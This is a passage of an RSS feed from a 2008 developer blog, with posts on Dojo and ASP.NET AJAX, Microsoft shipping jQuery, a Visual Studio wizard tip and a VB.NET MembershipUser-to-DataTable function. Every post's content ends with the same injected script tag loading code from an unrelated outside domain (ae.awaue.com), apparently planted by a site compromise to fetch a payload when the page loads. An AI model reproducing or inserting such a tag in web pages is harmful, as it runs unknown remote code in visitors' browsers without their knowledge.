<p><a title="http://eric.polerecky.com/archives/dijitformvalidationtextbox-and-aspnet-ajax/" href="http://eric.polerecky.com/archives/dijitformvalidationtextbox-and-aspnet-ajax/">http://eric.polerecky.com/archives/dijitformvalidationtextbox-and-aspnet-ajax/</a></p>
<p><strong>Workaround:</strong></p>
<p>In my project I use dojo.xhr to make calls back to the server.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/dojo-and-aspnet-ajax-compatibility/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>My take on Microsoft shipping jQuery</title>
		<link>http://eric.polerecky.com/archives/my-take-on-microsoft-shipping-jquery/</link>
		<comments>http://eric.polerecky.com/archives/my-take-on-microsoft-shipping-jquery/#comments</comments>
		<pubDate>Mon, 29 Sep 2008 13:04:38 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/my-take-on-microsoft-shipping-jquery/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/logo.jquery.png" width="215" height="53" alt="" title="jQuery" /><br/>First, if you have not heard, Microsoft will be shipping jQuery as part of visual studio. And if the swiftness that the .NET team moves I am sure we can see it in a the next SP. Update: Just re-read the article…The jQuery intellisense annotation support will be available as a free web-download in a


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/logo.jquery.png" width="215" height="53" alt="" title="jQuery" /><br/><p>First, if you have not heard, <a href="http://weblogs.asp.net/scottgu/archive/2008/09/28/jquery-and-microsoft.aspx" target="_blank">Microsoft will be shipping jQuery as part of visual studio</a>. <strike>And if the swiftness that the .NET team moves I am sure we can see it in a the next SP.</strike> <strong>Update: </strong>Just re-read the article…<span class="Apple-style-span" style="word-spacing: 0px; font: 13px arial; text-transform: none; color: rgb(0,0,0); text-indent: 0px; white-space: normal; letter-spacing: normal; border-collapse: separate; text-align: left; orphans: 2; widows: 2; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0">The jQuery intellisense annotation support will be available as a free web-download in a few weeks…w00t.</span></p>
<p><span class="Apple-style-span" style="word-spacing: 0px; font: 13px arial; text-transform: none; color: rgb(0,0,0); text-indent: 0px; white-space: normal; letter-spacing: normal; border-collapse: separate; text-align: left; orphans: 2; widows: 2; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0"><strong>jQuery</strong></span></p>
<p><span class="Apple-style-span" style="word-spacing: 0px; font: 13px arial; text-transform: none; color: rgb(0,0,0); text-indent: 0px; white-space: normal; letter-spacing: normal; border-collapse: separate; text-align: left; orphans: 2; widows: 2; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0">jQuery is great, its selector engine is by far the simplest and (I think) most powerful component. But, when using jQuery I always seem to be looking for pluggins…widgets…etc. </span></p>
<p><span class="Apple-style-span" style="word-spacing: 0px; font: 13px arial; text-transform: none; color: rgb(0,0,0); text-indent: 0px; white-space: normal; letter-spacing: normal; border-collapse: separate; text-align: left; orphans: 2; widows: 2; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0"><strong>Microsoft&#8217;s Challenge</strong></span></p>
<p><span class="Apple-style-span" style="word-spacing: 0px; font: 13px arial; text-transform: none; color: rgb(0,0,0); text-indent: 0px; white-space: normal; letter-spacing: normal; border-collapse: separate; text-align: left; orphans: 2; widows: 2; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0">Even though my current shop uses dojo, which I love too!, I am truly excited by this move. But i<span class="Apple-style-span" style="word-spacing: 0px; font: 13px arial; text-transform: none; color: rgb(0,0,0); text-indent: 0px; white-space: normal; letter-spacing: normal; border-collapse: separate; text-align: left; orphans: 2; widows: 2; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0">ntegrated jQuery is the potential to become another underutilized component in the .NET toolbox. </span>intellisense is great but most DNDD can’t type a lick of JS. Microsoft is going to have to wrap some widgets around this powerful engine.</span></p>
<p><span class="Apple-style-span" style="word-spacing: 0px; font: 13px arial; text-transform: none; color: rgb(0,0,0); text-indent: 0px; white-space: normal; letter-spacing: normal; border-collapse: separate; text-align: left; orphans: 2; widows: 2; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0">&#160;</span></p>
<p><span class="Apple-style-span" style="word-spacing: 0px; font: 13px arial; text-transform: none; color: rgb(0,0,0); text-indent: 0px; white-space: normal; letter-spacing: normal; border-collapse: separate; text-align: left; orphans: 2; widows: 2; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0"><strong>DNDD: </strong>Drag and Drop Developer. Yes it does have a negative condensation. </span></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/my-take-on-microsoft-shipping-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Visual Studio, Wizards, Project Templates and Unsigned DLLS</title>
		<link>http://eric.polerecky.com/archives/visual-studio-wizards-project-templates-and-unsigned-dlls/</link>
		<comments>http://eric.polerecky.com/archives/visual-studio-wizards-project-templates-and-unsigned-dlls/#comments</comments>
		<pubDate>Mon, 22 Sep 2008 18:26:44 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[Fail]]></category>
		<category><![CDATA[Project Templates]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/visual-studio-wizards-project-templates-and-unsigned-dlls/</guid>
		<description><![CDATA[<br/> If, after you followed all the steps at http://msdn.microsoft.com/en-us/library/ms185301(VS.80).aspx you are getting an error about unsigned DLLs…try adding the DLL to the bin folder of your project…
Just re-code the wizard in C#…I guess there is a reason all the examples are in C#…



No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p><img style="margin: 0px 10px 10px 0px" height="180" src="http://www.wizards.com/magic/images/mtgcom/arcana300/leylineW.jpg" width="240" align="left" /> If, after you followed all the steps at <a href="http://msdn.microsoft.com/en-us/library/ms185301(VS.80).aspx">http://msdn.microsoft.com/en-us/library/ms185301(VS.80).aspx</a> you are getting an error about unsigned DLLs…<strike>try adding the DLL to the bin folder of your project…</strike></p>
<p>Just re-code the wizard in C#…I guess there is a reason all the examples are in C#…</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/visual-studio-wizards-project-templates-and-unsigned-dlls/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MembershipUser to DataTable</title>
		<link>http://eric.polerecky.com/archives/membershipuser-to-datatable/</link>
		<comments>http://eric.polerecky.com/archives/membershipuser-to-datatable/#comments</comments>
		<pubDate>Mon, 15 Sep 2008 15:07:17 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[Membership]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/membershipuser-to-datatable/</guid>
		<description><![CDATA[<br/>Anyone know if there is a cleaner way to do this?
&#160;

   1:  Private Function MembershipUser_To_DataTable(ByVal vMembershipUser As MembershipUser) As DataTable
   2:          Dim mDataTable As New DataTable
   3:          mDataTable.Columns.Add(&#34;Email&#34;)
  


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>Anyone know if there is a cleaner way to do this?</p>
<p>&#160;</p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span><span class="kwrd">Private</span> <span class="kwrd">Function</span> MembershipUser_To_DataTable(<span class="kwrd">ByVal</span> vMembershipUser <span class="kwrd">As</span> MembershipUser) <span class="kwrd">As</span> DataTable</pre>
<pre><span class="lnum">   2:  </span>        <span class="kwrd">Dim</span> mDataTable <span class="kwrd">As</span> <span class="kwrd">New</span> DataTable</pre>
<pre class="alt"><span class="lnum">   3:  </span>        mDataTable.Columns.Add(<span class="str">&quot;Email&quot;</span>)</pre>
<pre><span class="lnum">   4:  </span>        mDataTable.Columns.Add(<span class="str">&quot;PasswordQuestion&quot;</span>)</pre>
<pre class="alt"><span class="lnum">   5:  </span>        mDataTable.Columns.Add(<span class="str">&quot;Comment&quot;</span>)</pre>
<pre><span class="lnum">   6:  </span>        mDataTable.Columns.Add(<span class="str">&quot;IsApproved&quot;</span>)</pre>
<pre class="alt"><span class="lnum">   7:  </span>        mDataTable.Columns.Add(<span class="str">&quot;CreateDate&quot;</span>)</pre>
<pre><span class="lnum">   8:  </span>        mDataTable.Columns.Add(<span class="str">&quot;LastLoginDate&quot;</span>)</pre>
<pre class="alt"><span class="lnum">   9:  </span>        mDataTable.Columns.Add(<span class="str">&quot;LastActivityDate&quot;</span>)</pre>
<pre><span class="lnum">  10:  </span>        mDataTable.Columns.Add(<span class="str">&quot;LastPasswordChangedDate&quot;</span>)</pre>
<pre class="alt"><span class="lnum">  11:  </span>        mDataTable.Columns.Add(<span class="str">&quot;UserId&quot;</span>)</pre>
<pre><span class="lnum">  12:  </span>        mDataTable.Columns.Add(<span class="str">&quot;IsLockedOut&quot;</span>)</pre>
<pre class="alt"><span class="lnum">  13:  </span>        mDataTable.Columns.Add(<span class="str">&quot;LastLockoutDate&quot;</span>)</pre>
<pre><span class="lnum">  14:  </span>        mDataTable.Rows.Add(vMembershipUser)</pre>
<pre class="alt"><span class="lnum">  15:  </span>        <span class="kwrd">Return</span> mDataTable</pre>
<pre><span class="lnum">  16:  </span>    <span class="kwrd">End</span> Function</pre>
</div>
<style type="text/css">
<p>.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/membershipuser-to-datatable/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
